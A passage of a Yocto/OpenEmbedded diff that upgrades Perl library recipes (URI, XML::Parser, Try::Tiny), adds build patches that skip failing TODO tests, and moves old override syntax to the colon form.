+HOMEPAGE = "https://github.com/p5sagit/Try-Tiny"
+BUGTRACKER = "https://rt.cpan.org/Public/Dist/Display.html?Name=Try-Tiny"
+SECTION = "libs"
+LICENSE = "MIT"
+
+LIC_FILES_CHKSUM = "file://LICENCE;md5=5dc332c2d4aade55f5db244681000091"
+
+SRC_URI = "${CPAN_MIRROR}/authors/id/E/ET/ETHER/Try-Tiny-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "3300d31d8a4075b26d8f46ce864a1d913e0e8467ceeba6655d5d2b2e206c11be"
+
+S = "${WORKDIR}/Try-Tiny-${PV}"
+
+inherit cpan ptest-perl
+
+RDEPENDS:${PN} += "\
+ perl-module-carp \
+ perl-module-constant \
+ perl-module-exporter \
+"
+RRECOMMENDS:${PN} += "\
+ perl-module-sub-util \
+"
+RDEPENDS:${PN}-ptest += "\
+ perl-module-extutils-makemaker \
+ perl-module-extutils-mm-unix \
+ perl-module-file-spec \
+ perl-module-if \
+ perl-module-test-more \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/perl/liburi-perl/0001-Skip-TODO-test-cases-that-fail.patch b/meta/recipes-devtools/perl/liburi-perl/0001-Skip-TODO-test-cases-that-fail.patch
new file mode 100644
index 0000000000..ed1f25125f
--- /dev/null
+++ b/meta/recipes-devtools/perl/liburi-perl/0001-Skip-TODO-test-cases-that-fail.patch
@@ -0,0 +1,110 @@
+From 5a4271456104bdf027644c81c3a208cde5cf522e Mon Sep 17 00:00:00 2001
+From: Tim Orling <tim.orling@konsulko.com>
+Date: Thu, 17 Nov 2022 16:33:20 -0800
+Subject: [PATCH] Skip TODO test cases that fail
+
+TODO cases report as "not ok" with ptest-runner
+
+Upstream-Status: Inappropriate [ptest-runner specific]
+
+Signed-off-by: Tim Orling <tim.orling@konsulko.com>
+
+---
+ t/escape-char.t | 20 ++++++++++----------
+ t/iri.t | 18 +++++++++---------
+ t/mailto.t | 12 ++++++------
+ 3 files changed, 25 insertions(+), 25 deletions(-)
+
+diff --git a/t/escape-char.t b/t/escape-char.t
+index c6ce79c..5e62ad5 100644
+--- a/t/escape-char.t
++++ b/t/escape-char.t
+@@ -6,16 +6,16 @@ use warnings;
+ use Test::More;
+ use URI ();
+
+-TODO: {
+- my $str = "http://foo/\xE9";
+- utf8::upgrade($str);
+- my $uri = URI->new($str);
+-
+- local $TODO = 'URI::Escape::escape_char misunderstands utf8';
+-
+- # http://foo/%C3%A9
+- is("$uri", 'http://foo/%E9', 'correctly created a URI from a utf8-upgraded string');
+-}
++#TODO: {
++# my $str = "http://foo/\xE9";
++# utf8::upgrade($str);
++# my $uri = URI->new($str);
++#
++# local $TODO = 'URI::Escape::escape_char misunderstands utf8';
++#
++# # http://foo/%C3%A9
++# is("$uri", 'http://foo/%E9', 'correctly created a URI from a utf8-upgraded string');
++#}
+
+ {
+ my $str = "http://foo/\xE9";
+diff --git a/t/iri.t b/t/iri.t
+index cf983d6..884b36e 100644
+--- a/t/iri.t
++++ b/t/iri.t
+@@ -6,7 +6,7 @@ use Test::More;
+ use Config qw( %Config );
+
+ if (defined $Config{useperlio}) {
+- plan tests=>30;
++ plan tests=>28;
+ } else {
+ plan skip_all=>"this perl doesn't support PerlIO layers";
+ }
+@@ -67,17 +67,17 @@ is $u->as_iri, "http://➡.ws/";
+ # draft-duerst-iri-bis.txt examples (section 3.7.1):
+ is(URI->new("http://www.example.org/D%C3%BCrst")->as_iri, "http://www.example.org/D\xFCrst");
+ is(URI->new("http://www.example.org/D%FCrst")->as_iri, "http://www.example.org/D%FCrst");
+-TODO: {
+- local $TODO = "some chars (like U+202E, RIGHT-TO-LEFT OVERRIDE) need to stay escaped";
+-is(URI->new("http://xn--99zt52a.example.org/%e2%80%ae")->as_iri, "http://\x{7D0D}\x{8C46}.example.org/%e2%80%ae");
+-}
++#TODO: {
++# local $TODO = "some chars (like U+202E, RIGHT-TO-LEFT OVERRIDE) need to stay escaped";
++#is(URI->new("http://xn--99zt52a.example.org/%e2%80%ae")->as_iri, "http://\x{7D0D}\x{8C46}.example.org/%e2%80%ae");
++#}
+
+ # try some URLs that can't be IDNA encoded (fallback to encoded UTF8 bytes)
+ $u = URI->new("http://" . ("ü" x 128));
+ is $u, "http://" . ("%C3%BC" x 128);
+ is $u->host, ("\xC3\xBC" x 128);
+-TODO: {
+- local $TODO = "should ihost decode UTF8 bytes?";
+- is $u->ihost, ("ü" x 128);
+-}
++#TODO: {
++# local $TODO = "should ihost decode UTF8 bytes?";
++# is $u->ihost, ("ü" x 128);
++#}
+ is $u->as_iri, "http://" . ("ü" x 128);
+diff --git a/t/mailto.t b/t/mailto.t
+index 79e9a13..c68cfb2 100644
+--- a/t/mailto.t
++++ b/t/mailto.t
+@@ -48,12 +48,12 @@ $u = URI->new('mailto:user+detail@example.com');
+ is $u->to, 'user+detail@example.com', 'subaddress with `+` parsed correctly';
+ is $u, 'mailto:user+detail@example.com', '... and stringification works';
+
+-TODO: {
+- local $TODO = "We can't handle quoted local parts without properly parsing the email addresses";
+- $u = URI->new('mailto:"foo bar+baz"@example.com');
+- is $u->to, '"foo bar+baz"@example.com', 'address with quoted local part containing spaces is parsed correctly';
+- is $u, 'mailto:%22foo%20bar+baz%22@example.com', '... and stringification works';
+-}
++#TODO: {
++# local $TODO = "We can't handle quoted local parts without properly parsing the email addresses";
++# $u = URI->new('mailto:"foo bar+baz"@example.com');
++# is $u->to, '"foo bar+baz"@example.com', 'address with quoted local part containing spaces is parsed correctly';
++# is $u, 'mailto:%22foo%20bar+baz%22@example.com', '... and stringification works';
++#}
+
+ # RFC 5321 (4.1.3) - Address Literals
+
diff --git a/meta/recipes-devtools/perl/liburi-perl_1.74.bb b/meta/recipes-devtools/perl/liburi-perl_1.74.bb
deleted file mode 100644
index c27765bcbc..0000000000
--- a/meta/recipes-devtools/perl/liburi-perl_1.74.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Perl module to manipulate and access URI strings"
-DESCRIPTION = "This package contains the URI.pm module with friends. \
-The module implements the URI class. URI objects can be used to access \
-and manipulate the various components that make up these strings."
-
-HOMEPAGE = "http://search.cpan.org/dist/URI/"
-SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=c453e94fae672800f83bc1bd7a38b53f"
-
-DEPENDS += "perl"
-
-SRC_URI = "http://www.cpan.org/authors/id/E/ET/ETHER/URI-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "892f7183b178af40f205ba37128225db"
-SRC_URI[sha256sum] = "a9c254f45f89cb1dd946b689dfe433095404532a4543bdaab0b71ce0fdcdd53d"
-
-S = "${WORKDIR}/URI-${PV}"
-
-EXTRA_CPANFLAGS = "EXPATLIBPATH=${STAGING_LIBDIR} EXPATINCPATH=${STAGING_INCDIR}"
-
-inherit cpan ptest-perl
-
-do_compile() {
- export LIBC="$(find ${STAGING_DIR_TARGET}/${base_libdir}/ -name 'libc-*.so')"
- cpan_do_compile
-}
-
-do_install_prepend() {
- # these tests require "-T" (taint) command line option
- rm -rf ${B}/t/cwd.t
- rm -rf ${B}/t/file.t
-}
-
-RDEPENDS_${PN} += "perl-module-integer perl-module-mime-base64"
-RDEPENDS_${PN}-ptest += " \
- libtest-needs-perl \
- perl-module-test-more \
- perl-module-test \
- perl-module-utf8 \
- perl-module-extutils-makemaker \
- perl-module-net-domain \
- perl-module-encode \
- perl-module-extutils-mm-unix \
- perl-module-file-spec-functions \
- perl-module-perlio \
-"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/liburi-perl_5.28.bb b/meta/recipes-devtools/perl/liburi-perl_5.28.bb
new file mode 100644
index 0000000000..1fc0efd3e5
--- /dev/null
+++ b/meta/recipes-devtools/perl/liburi-perl_5.28.bb
@@ -0,0 +1,56 @@
+SUMMARY = "Perl module to manipulate and access URI strings"
+DESCRIPTION = "This package contains the URI.pm module with friends. \
+The module implements the URI class. URI objects can be used to access \
+and manipulate the various components that make up these strings."
+HOMEPAGE = "https://metacpan.org/dist/URI"
+SECTION = "libs"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=9944b87af51186f848ae558344aded9f"
+
+SRC_URI = "${CPAN_MIRROR}/authors/id/O/OA/OALDERS/URI-${PV}.tar.gz \
+ file://0001-Skip-TODO-test-cases-that-fail.patch \
+ "
+
+SRC_URI[sha256sum] = "e7985da359b15efd00917fa720292b711c396f2f9f9a7349e4e7dec74aa79765"
+
+S = "${WORKDIR}/URI-${PV}"
+
+EXTRA_CPANFLAGS = "EXPATLIBPATH=${STAGING_LIBDIR} EXPATINCPATH=${STAGING_INCDIR}"
+
+inherit cpan ptest-perl
+
+do_compile() {
+ export LIBC="$(find ${STAGING_DIR_TARGET}/${base_libdir}/ -name 'libc-*.so')"
+ cpan_do_compile
+}
+
+do_install:prepend() {
+ # these tests require "-T" (taint) command line option
+ rm -rf ${B}/t/cwd.t
+ rm -rf ${B}/t/file.t
+}
+
+RDEPENDS:${PN} += "\
+ perl-module-integer \
+ perl-module-mime-base64 \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ libtest-fatal-perl \
+ libtest-needs-perl \
+ libtest-warnings-perl \
+ perl-module-encode \
+ perl-module-encode-encoding \
+ perl-module-extutils-makemaker \
+ perl-module-extutils-mm-unix \
+ perl-module-file-spec-functions \
+ perl-module-net-domain \
+ perl-module-perlio \
+ perl-module-perlio-encoding \
+ perl-module-test \
+ perl-module-test-more \
+ perl-module-utf8 \
+"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/libxml-parser-perl/0001-Makefile.PL-make-check_lib-cross-friendly.patch b/meta/recipes-devtools/perl/libxml-parser-perl/0001-Makefile.PL-make-check_lib-cross-friendly.patch
new file mode 100644
index 0000000000..457fb77384
--- /dev/null
+++ b/meta/recipes-devtools/perl/libxml-parser-perl/0001-Makefile.PL-make-check_lib-cross-friendly.patch
@@ -0,0 +1,28 @@
+From bd9b0e10843da72276982bd1394ade734fea0289 Mon Sep 17 00:00:00 2001
+From: Tim Orling <tim.orling@konsulko.com>
+Date: Fri, 2 Feb 2024 21:15:34 -0800
+Subject: [PATCH] Makefile.PL: make check_lib cross friendly
+
+lib => qw(expat) does not seem to respect EXPATLIBPATH and
+EXPATINCPATH when we are cross-compiling.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Tim Orling <tim.orling@konsulko.com>
+---
+ Makefile.PL | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile.PL b/Makefile.PL
+index 505d1df..19f428b 100644
+--- a/Makefile.PL
++++ b/Makefile.PL
+@@ -30,7 +30,7 @@ foreach (@ARGV) {
+
+ unless (
+ check_lib( # fill in what you prompted the user for here
+- lib => [qw(expat)],
++ #lib => [qw(expat)],
+ header => ['expat.h'],
+ incpath => $expat_incpath,
+ ( $expat_libpath ? ( libpath => $expat_libpath ) : () ),
diff --git a/meta/recipes-devtools/perl/libxml-parser-perl_2.46.bb b/meta/recipes-devtools/perl/libxml-parser-perl_2.46.bb
deleted file mode 100644
index bc154bbdc5..0000000000
--- a/meta/recipes-devtools/perl/libxml-parser-perl_2.46.bb
+++ /dev/null
@@ -1,58 +0,0 @@
-SUMMARY = "XML::Parser - A perl module for parsing XML documents"
-HOMEPAGE = "https://libexpat.github.io/"
-SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-LIC_FILES_CHKSUM = "file://Parser.pm;beginline=1;endline=7;md5=d12cc778c80fc4c518f0e5dee29fd5fb"
-
-DEPENDS += "expat"
-
-SRC_URI = "http://www.cpan.org/modules/by-module/XML/XML-Parser-${PV}.tar.gz \
- file://ptest-perl/run-ptest \
- file://0001-CheckLib.pm-do-not-attempt-to-run-a-cross-executable.patch \
- "
-SRC_URI[md5sum] = "80bb18a8e6240fcf7ec2f7b57601c170"
-SRC_URI[sha256sum] = "d331332491c51cccfb4cb94ffc44f9cd73378e618498d4a37df9e043661c515d"
-
-S = "${WORKDIR}/XML-Parser-${PV}"
-
-EXTRA_CPANFLAGS = "EXPATLIBPATH=${STAGING_LIBDIR} EXPATINCPATH=${STAGING_INCDIR} CC='${CC}' LD='${CCLD}' FULL_AR='${AR}'"
-
-inherit cpan ptest-perl
-
-# fix up sub MakeMaker project as arguments don't get propagated though
-# see https://rt.cpan.org/Public/Bug/Display.html?id=28632
-do_configure_append_class-target() {
- sed -E \
- -e 's:-L${STAGING_LIBDIR}::g' -e 's:-I${STAGING_INCDIR}::g' \
- -i Makefile Expat/Makefile
-}
-
-do_configure_append() {
- sed -e 's:--sysroot=.*\(\s\|$\):--sysroot=${STAGING_DIR_TARGET} :g' \
- -i Makefile Expat/Makefile
- sed 's:^FULL_AR = .*:FULL_AR = ${AR}:g' -i Expat/Makefile
- # make sure these two do not build in parallel
- sed 's!^$(INST_DYNAMIC):!$(INST_DYNAMIC): $(BOOTSTRAP)!' -i Expat/Makefile
-}
-
-do_compile() {
- export LIBC="$(find ${STAGING_DIR_TARGET}/${base_libdir}/ -name 'libc-*.so')"
- cpan_do_compile
-}
-
-do_compile_class-native() {
- cpan_do_compile
-}
-
-do_install_ptest() {
- sed -i -e "s:/usr/local/bin/perl:/usr/bin/perl:g" ${B}/samples/xmlstats
- sed -i -e "s:/usr/local/bin/perl:/usr/bin/perl:g" ${B}/samples/xmlfilter
- sed -i -e "s:/usr/local/bin/perl:/usr/bin/perl:g" ${B}/samples/xmlcomments
- sed -i -e "s:/usr/local/bin/perl:/usr/bin/perl:g" ${B}/samples/canonical
- cp -r ${B}/samples ${D}${PTEST_PATH}
- chown -R root:root ${D}${PTEST_PATH}/samples
-}
-
-RDEPENDS_${PN}-ptest += "perl-module-filehandle perl-module-if perl-module-test perl-module-test-more"
-
-BBCLASSEXTEND="native nativesdk"
diff --git a/meta/recipes-devtools/perl/libxml-parser-perl_2.47.bb b/meta/recipes-devtools/perl/libxml-parser-perl_2.47.bb
new file mode 100644
index 0000000000..cffc133a45
--- /dev/null
+++ b/meta/recipes-devtools/perl/libxml-parser-perl_2.47.bb
@@ -0,0 +1,42 @@
+SUMMARY = "XML::Parser - A perl module for parsing XML documents"
+HOMEPAGE = "https://libexpat.github.io/"
+SECTION = "libs"
+LICENSE = "Artistic-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=4342f85bf14a1fdd6a751573f1e61c03"
+
+DEPENDS += "expat"
+
+SRC_URI = "${CPAN_MIRROR}/modules/by-module/XML/XML-Parser-${PV}.tar.gz \
+ file://0001-Makefile.PL-make-check_lib-cross-friendly.patch \
+ "
+
+SRC_URI[sha256sum] = "ad4aae643ec784f489b956abe952432871a622d4e2b5c619e8855accbfc4d1d8"
+
+S = "${WORKDIR}/XML-Parser-${PV}"
+
+EXTRA_CPANFLAGS = "EXPATLIBPATH=${STAGING_LIBDIR} EXPATINCPATH=${STAGING_INCDIR} CC='${CC}' LD='${CCLD}' FULL_AR='${AR}'"
+
+inherit cpan pkgconfig ptest-perl
+
+do_compile() {
+ export LIBC="$(find ${STAGING_DIR_TARGET}/${base_libdir}/ -name 'libc-*.so')"
+ cpan_do_compile
+}
+
+do_compile:class-native() {
+ cpan_do_compile
+}
+
+do_install_ptest() {
+ sed -i -e "s:/usr/local/bin/perl:/usr/bin/perl:g" ${B}/samples/xmlstats
+ sed -i -e "s:/usr/local/bin/perl:/usr/bin/perl:g" ${B}/samples/xmlfilter
+ sed -i -e "s:/usr/local/bin/perl:/usr/bin/perl:g" ${B}/samples/xmlcomments
+ sed -i -e "s:/usr/local/bin/perl:/usr/bin/perl:g" ${B}/samples/canonical
+ cp -r ${B}/samples ${D}${PTEST_PATH}
+ chown -R root:root ${D}${PTEST_PATH}/samples
+}
+
+RDEPENDS:${PN} += "perl-module-carp perl-module-file-spec"
+RDEPENDS:${PN}-ptest += "perl-module-filehandle perl-module-if perl-module-test perl-module-test-more"
+
+BBCLASSEXTEND="native nativesdk"
diff --git a/meta/recipes-devtools/perl/libxml-perl_0.08.bb b/meta/recipes-devtools/perl/libxml-perl_0.08.bb
index 818ae3d571..89acb64ef5 100644
--- a/meta/recipes-devtools/perl/libxml-perl_0.08.bb
+++ b/meta/recipes-devtools/perl/libxml-perl_0.08.bb
@@ -5,8 +5,7 @@ XML::Grove and others."
HOMEPAGE = "http://search.cpan.org/dist/libxml-perl/"
SUMMARY = "Collection of Perl modules for working with XML"
SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-PR = "r3"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
LIC_FILES_CHKSUM = "file://README;beginline=33;endline=35;md5=1705549eef7577a3d6ba71123a1f0ce8"
@@ -26,5 +25,5 @@ do_compile() {
cpan_do_compile
}
-RDEPENDS_${PN} += "perl-module-carp perl-module-overload perl-module-universal perl-module-io-handle"
-RDEPENDS_${PN}-ptest += "libxml-parser-perl perl-module-file-glob"
+RDEPENDS:${PN} += "perl-module-carp perl-module-overload perl-module-universal perl-module-io-handle"
+RDEPENDS:${PN}-ptest += "libxml-parser-perl perl-module-file-glob perl-module-cwd perl-module-constant"
diff --git a/meta/recipes-devtools/perl/libxml-simple-perl_2.25.bb b/meta/recipes-devtools/perl/libxml-simple-perl_2.25.bb
index 53788d5585..791404e5bc 100644
--- a/meta/recipes-devtools/perl/libxml-simple-perl_2.25.bb
+++ b/meta/recipes-devtools/perl/libxml-simple-perl_2.25.bb
@@ -6,7 +6,7 @@ on top of an underlying XML parsing module to maintain XML files \
where the original uses plain Perl or SAX parsers."
HOMEPAGE = "http://search.cpan.org/~markov/XML-LibXML-Simple-0.93/lib/XML/LibXML/Simple.pod"
SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
LIC_FILES_CHKSUM = "file://LICENSE;md5=cf206df8c9fe775f1d4c484386491eac"
DEPENDS += "libxml-parser-perl"
@@ -21,13 +21,13 @@ EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}"
inherit cpan ptest-perl
-RDEPENDS_${PN} += " \
+RDEPENDS:${PN} += " \
libxml-namespacesupport-perl \
libxml-parser-perl \
libxml-sax-perl \
"
-RDEPENDS_${PN}-ptest += " \
+RDEPENDS:${PN}-ptest += " \
perl-module-file-temp \
perl-module-test-more \
"
diff --git a/meta/recipes-devtools/perl/perl-ptest.inc b/meta/recipes-devtools/perl/perl-ptest.inc
index 98e3361fcc..e07355d3f5 100644
--- a/meta/recipes-devtools/perl/perl-ptest.inc
+++ b/meta/recipes-devtools/perl/perl-ptest.inc
@@ -10,12 +10,12 @@ do_install_ptest () {
sed -e "s:\/usr\/local:${bindir}:g" -i cpan/version/t/*
sed -e "s:\/opt:\/usr:" -i Porting/add-package.pl
sed -e "s:\/local\/gnu\/:\/:" -i hints/cxux.sh
- tar -c --exclude=try --exclude=a.out --exclude='*.o' --exclude=libperl.so* --exclude=Makefile --exclude=makefile --exclude=hostperl \
+ tar -c --exclude=try --exclude=a.out --exclude='*.o' --exclude=libperl.so* --exclude=[Mm]akefile --exclude=hostperl \
--exclude=cygwin --exclude=os2 --exclude=djgpp --exclude=qnx --exclude=symbian --exclude=haiku \
--exclude=vms --exclude=vos --exclude=NetWare --exclude=amigaos4 --exclude=buildcustomize.pl \
--exclude='win32/config.*' --exclude=plan9 --exclude=README.plan9 --exclude=perlplan9.pod --exclude=Configure \
--exclude=veryclean.sh --exclude=realclean.sh --exclude=getioctlsizes \
- --exclude=dl_aix.xs --exclude=sdbm.3 --exclude='cflags.SH' --exclude=makefile.old \
+ --exclude=dl_aix.xs --exclude=sdbm.3 --exclude='cflags.SH' --exclude=[Mm]akefile.old \
--exclude=miniperl --exclude=generate_uudmap --exclude=patches --exclude='config.log' * | ( cd ${D}${PTEST_PATH} && tar -x )
ln -sf ${bindir}/perl ${D}${PTEST_PATH}/t/perl
@@ -47,7 +47,7 @@ do_install_ptest () {
rm ${D}${PTEST_PATH}/Makefile.config ${D}${PTEST_PATH}/xconfig.h ${D}${PTEST_PATH}/xconfig.sh
}
-python populate_packages_prepend() {
+python populate_packages:prepend() {
# Put all *.t files from the lib dir in the ptest package
# do_split_packages requires a pair of () in the regex, but we have nothing
# to match, so use an empty pair.
@@ -56,8 +56,8 @@ python populate_packages_prepend() {
'${PN}-ptest%s', '%s', recursive=True, match_path=True)
}
-RDEPENDS_${PN}-ptest += "${PN}-modules ${PN}-doc sed"
+RDEPENDS:${PN}-ptest += "${PN}-modules ${PN}-doc sed procps-ps"
# The perl-ptest package contains Perl internal modules and generating file
# dependencies for it causes problems.
-SKIP_FILEDEPS_${PN}-ptest = '1'
+SKIP_FILEDEPS:${PN}-ptest = '1'
diff --git a/meta/recipes-devtools/perl/perl_5.32.0.bb b/meta/recipes-devtools/perl/perl_5.32.0.bb
deleted file mode 100644
index c10ce12303..0000000000
--- a/meta/recipes-devtools/perl/perl_5.32.0.bb
+++ /dev/null
@@ -1,384 +0,0 @@
-SUMMARY = "Perl scripting language"
-HOMEPAGE = "http://www.perl.org/"
-SECTION = "devel"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-LIC_FILES_CHKSUM = "file://Copying;md5=5b122a36d0f6dc55279a0ebc69f3c60b \
- file://Artistic;md5=71a4d5d9acc18c0952a6df2218bb68da \
- "
-
-
-SRC_URI = "https://www.cpan.org/src/5.0/perl-${PV}.tar.gz;name=perl \
- https://github.com/arsv/perl-cross/releases/download/1.3.4/perl-cross-1.3.4.tar.gz;name=perl-cross \
- file://perl-rdepends.txt \
- file://0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch \
- file://0001-ExtUtils-MakeMaker-add-LDFLAGS-when-linking-binary-m.patch \
- file://0001-Somehow-this-module-breaks-through-the-perl-wrapper-.patch \
- file://errno_ver.diff \
- file://native-perlinc.patch \
- file://0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch \
- file://perl-dynloader.patch \
- file://0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch \
- file://0002-Constant-Fix-up-shebang.patch \
- file://determinism.patch \
- file://perl-cross-makefile.patch \
- "
-SRC_URI_append_class-native = " \
- file://perl-configpm-switch.patch \
-"
-SRC_URI_append_class-target = " \
- file://encodefix.patch \
-"
-
-SRC_URI[perl.sha256sum] = "efeb1ce1f10824190ad1cadbcccf6fdb8a5d37007d0100d2d9ae5f2b5900c0b4"
-SRC_URI[perl-cross.sha256sum] = "755aa0ca8141a942188a269564f86c3c82349f82c346ed5c992495d7f35138ba"
-
-S = "${WORKDIR}/perl-${PV}"
-
-inherit upstream-version-is-even update-alternatives
-
-DEPENDS += "zlib virtual/crypt"
-
-PERL_LIB_VER = "${@'.'.join(d.getVar('PV').split('.')[0:2])}.0"
-
-PACKAGECONFIG ??= "bdb gdbm"
-PACKAGECONFIG[bdb] = ",-Ui_db,db"
-PACKAGECONFIG[gdbm] = ",-Ui_gdbm,gdbm"
-
-# Don't generate comments in enc2xs output files. They are not reproducible
-export ENC2XS_NO_COMMENTS = "1"
-
-do_unpack_append() {
- bb.build.exec_func('do_copy_perlcross', d)
-}
-
-do_copy_perlcross() {
- cp -rfp ${WORKDIR}/perl-cross*/* ${S}
-}
-
-do_configure_class-target() {
- ./configure --prefix=${prefix} --libdir=${libdir} \
- --target=${TARGET_SYS} \
- -Duseshrplib \
- -Dsoname=libperl.so.5 \
- -Dvendorprefix=${prefix} \
- -Darchlibexp=${STAGING_LIBDIR}/perl5/${PV}/${TARGET_ARCH}-linux \
- ${PACKAGECONFIG_CONFARGS}
-
- #perl.c uses an ARCHLIB_EXP define to generate compile-time code that
- #adds the archlibexp path to @INC during run-time initialization of a
- #new perl interpreter.
-
- #Because we've changed this value in a temporary way to make it
- #possible to use ExtUtils::Embed in the target build (the temporary
- #value in config.sh gets re-stripped out during packaging), the
- #ARCHLIB_EXP value that gets generated still uses the temporary version
- #instead of the original expected version (i.e. becauses it's in the
- #generated config.h, it doesn't get stripped out during packaging like
- #the others in config.sh).
-
- sed -i -e "s,${STAGING_LIBDIR},${libdir},g" config.h
-}
-
-do_configure_class-nativesdk() {
- ./configure --prefix=${prefix} \
- --target=${TARGET_SYS} \
- -Duseshrplib \
- -Dsoname=libperl.so.5 \
- -Dvendorprefix=${prefix} \
- -Darchlibexp=${STAGING_LIBDIR}/perl5/${PV}/${TARGET_ARCH}-linux \
- ${PACKAGECONFIG_CONFARGS}
-
- # See the comment above
- sed -i -e "s,${STAGING_LIBDIR},${libdir},g" config.h
-}
-
-do_configure_class-native() {
- ./configure --prefix=${prefix} \
- -Dbin=${bindir}/perl-native \
- -Duseshrplib \
- -Dsoname=libperl.so.5 \
- -Dvendorprefix=${prefix} \
- -Ui_xlocale \
- ${PACKAGECONFIG_CONFARGS}
-}
-
-do_configure_append() {
- if [ -n "$SOURCE_DATE_EPOCH" ]; then
- PERL_BUILD_DATE="$(${PYTHON} -c "\
-from datetime import datetime, timezone; \
-print(datetime.fromtimestamp($SOURCE_DATE_EPOCH, timezone.utc).strftime('%a %b %d %H:%M:%S %Y')) \
- ")"
- echo "#define PERL_BUILD_DATE \"$PERL_BUILD_DATE\"" >> config.h
- fi
-}
-
-do_compile() {
- oe_runmake
- # This isn't generated reliably so delete and re-generate.
- # https://github.com/arsv/perl-cross/issues/86
-
- if [ -e pod/perltoc.pod ]; then
- bbnote Rebuilding perltoc.pod
- rm -f pod/perltoc.pod
- oe_runmake pod/perltoc.pod
- fi
-}
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
-
- install -d ${D}${libdir}/perl5
- install -d ${D}${libdir}/perl5/${PV}/
- install -d ${D}${libdir}/perl5/${PV}/ExtUtils/
-
- # Save native config
- install config.sh ${D}${libdir}/perl5
- install lib/Config.pm ${D}${libdir}/perl5/${PV}/
- install lib/ExtUtils/typemap ${D}${libdir}/perl5/${PV}/ExtUtils/
-
- # Fix up shared library
- rm ${D}/${libdir}/perl5/${PV}/*/CORE/libperl.so
- ln -sf ../../../../libperl.so.${PERL_LIB_VER} $(echo ${D}/${libdir}/perl5/${PV}/*/CORE)/libperl.so
-}
-
-do_install_append_class-target() {
- # This is used to substitute target configuration when running native perl via perl-configpm-switch.patch
- ln -s Config_heavy.pl ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy-target.pl
-
- # This contains host-specific information used for building miniperl (a helper executable built with host compiler)
- # and therefore isn't reproducible. I believe the file isn't actually needed on target.
- rm ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/xconfig.h
-}
-
-do_install_append_class-nativesdk() {
- # This is used to substitute target configuration when running native perl via perl-configpm-switch.patch
- ln -s Config_heavy.pl ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy-target.pl
-
- create_wrapper ${D}${bindir}/perl \
- PERL5LIB='$PERL5LIB:${SDKPATHNATIVE}/${libdir_nativesdk}/perl5/site_perl/${PV}:${SDKPATHNATIVE}/${libdir_nativesdk}/perl5/vendor_perl/${PV}:${SDKPATHNATIVE}/${libdir_nativesdk}/perl5/${PV}'
-}
-
-do_install_append_class-native () {
- # Those wrappers mean that perl installed from sstate (which may change
- # path location) works and that in the nativesdk case, the SDK can be
- # installed to a different location from the one it was built for.
- create_wrapper ${D}${bindir}/perl-native/perl PERL5LIB='$PERL5LIB:${STAGING_LIBDIR}/perl5/site_perl/${PV}:${STAGING_LIBDIR}/perl5/vendor_perl/${PV}:${STAGING_LIBDIR}/perl5/${PV}'
-
- # Use /usr/bin/env nativeperl for the perl script.
- for f in `grep -Il '#! *${bindir}/perl' ${D}/${bindir}/*`; do
- sed -i -e 's|${bindir}/perl|/usr/bin/env nativeperl|' $f
- done
-}
-
-PACKAGE_PREPROCESS_FUNCS += "perl_package_preprocess"
-
-perl_package_preprocess () {
- # Fix up installed configuration
- sed -i -e "s,${D},,g" \
- -e "s,${DEBUG_PREFIX_MAP},,g" \
- -e "s,--sysroot=${STAGING_DIR_HOST},,g" \
- -e "s,-isystem${STAGING_INCDIR} ,,g" \
- -e "s,${STAGING_LIBDIR},${libdir},g" \
- -e "s,${STAGING_BINDIR},${bindir},g" \
- -e "s,${STAGING_INCDIR},${includedir},g" \
- -e "s,${STAGING_BINDIR_NATIVE}/perl-native/,${bindir}/,g" \
- -e "s,${STAGING_BINDIR_NATIVE}/,,g" \
- -e "s,${STAGING_BINDIR_TOOLCHAIN}/${TARGET_PREFIX},${bindir},g" \
- -e 's:${RECIPE_SYSROOT}::g' \
- ${PKGD}${bindir}/h2xs.perl \
- ${PKGD}${bindir}/h2ph.perl \
- ${PKGD}${bindir}/pod2man.perl \
- ${PKGD}${bindir}/pod2text.perl \
- ${PKGD}${bindir}/pod2usage.perl \
- ${PKGD}${bindir}/podchecker.perl \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/config.h \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/perl.h \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/pp.h \
- ${PKGD}${libdir}/perl5/${PV}/Config.pm \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pm \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pod \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_git.pl \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy.pl \
- ${PKGD}${libdir}/perl5/${PV}/ExtUtils/Liblist/Kid.pm \
